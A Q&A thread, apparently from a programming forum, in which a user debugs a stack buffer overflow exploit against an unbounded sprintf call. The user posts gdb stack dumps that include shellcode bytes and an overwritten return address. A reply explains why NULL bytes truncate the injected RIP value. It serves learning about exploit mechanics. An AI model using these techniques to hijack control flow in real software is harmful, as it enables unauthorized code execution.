I try to exploit sprintf c function in my program which is used like this:
char line[512];
sprintf(line,"[%s]", UserCommand);
As you can see the line can be exploited and trigger something else. I found how to change rbp register but when it comes to RIP register, I can change it with "0xFFFF7FFFEBFF8C10" but I couldn't with "0x00007FFFEBFF8C10", the first 2 bytes "00 00" are replaced with 0x2D5D ( ]) which becomes 0x2D5D7FFFEBFF8C10. This address cannot lead me to my buffer where my arbitrary code reside.
The stack $rsp-100:
0x7fffebff8d94: 0xd23148f6 0x3bc08348 0xebe8050f 0x2fffffff
0x7fffebff8da4: 0x2f6e6962 0x4168732f 0x41414141 0x41414141
0x7fffebff8db4: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffebff8dc4: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffebff8dd4: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffebff8de4: 0xffffffff 0x41414141 0x0000155a 0x41414141
0x7fffebff8df4: 0x41414141 0xebff8c10 0x205d7fff 0x00000000
0x7fffebff8e04: 0x00000000 0x00bd5760 0x00000000 0x00000000
Backtrace in gdb:
0 0x00000000004093a0 in ProcessCmd (Ctx=40, Connect=27, Msg=0x7fffebff9e32 '\220' <repeats 200 times>..., Len=522)
at /home/sam/srv/cmd/proc.c:305
1 0x205d7fffebff8c10 in ?? ()
2 0x0000000000000000 in ?? ()
Register:
info r
rax 0xffffffff 4294967295
rbx 0x7fffebfff700 140737152808704
rcx 0x7ffff78cb1fd 140737346580989
rdx 0x919f40 9543488
rsi 0x0 0
rdi 0x919f40 9543488
rbp 0x4141414141414141 0x4141414141414141
rsp 0x7fffebff8df8 0x7fffebff8df8
r8 0x0 0
r9 0x29 41
r10 0x11 17
r11 0x0 0
r12 0x1 1
r13 0x7fffebfff9c0 140737152809408
r14 0x7fffebfff700 140737152808704
r15 0x0 0
rip 0x4093a0 0x4093a0 <ProcessCmd+407>
eflags 0x10202 [ IF RF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
I want to know if this can be exploited or not ?
Is there any way to have a valid canonical address in the RIP register and remove the 2 bytes that making my address invalid ?
Thanks in advance
sprintf(line,"[%s] ", UserCommand);, sprintf will write '[' to line, then your input which is NULL terminated string, then ']', ' ', and last NULL terminator. Suppose you enter the string containing the shellcode and end with a return address. As you know that %s format speicfier will STOP writing this input when it finds a NULL byte.
Case 1:
Non_NULL_Shellcode = Your_shellcode
Return_address = 0xFFFF7FFFEBFF8C10
As you can see, no NULL byte in your input. So sprintf will write '[' to line, then your input which is NULL terminated string containing shellcode and complete return address, then ']', ' ', and last NULL terminator. It works well.
Case 2:
Non_NULL_Shellcode = Your_shellcode
Return_address = 0x00007FFFEBFF8C10
What is the difference? Yes, your return address containing two NULL byte at the end, which is interpreted by sprintf as a marker to STOP writing from your input. So this will happen. sprintf will write '[' to line, then your input which is NULL terminated string containing shellcode and incomplete return address, then ']', ' ', and last NULL terminator. ']' == 0x5d and ' ' == 0x20 in ascii. When writing your return address (suppose in little endian) sprintf will write 0x10, 0x8C, 0xFF, 0xEB, 0xFF, 0x7F and continue write 0x5D, 0x20, and last 0x00 which is NULL terminator. So it explain why your address 0x00007FFFEBFF8C10 changes to 0x205D7FFFEBFF8C10. 0x205D is not garbage data it's your string. Hope it helpful :).
User contributions licensed under CC BY-SA 3.0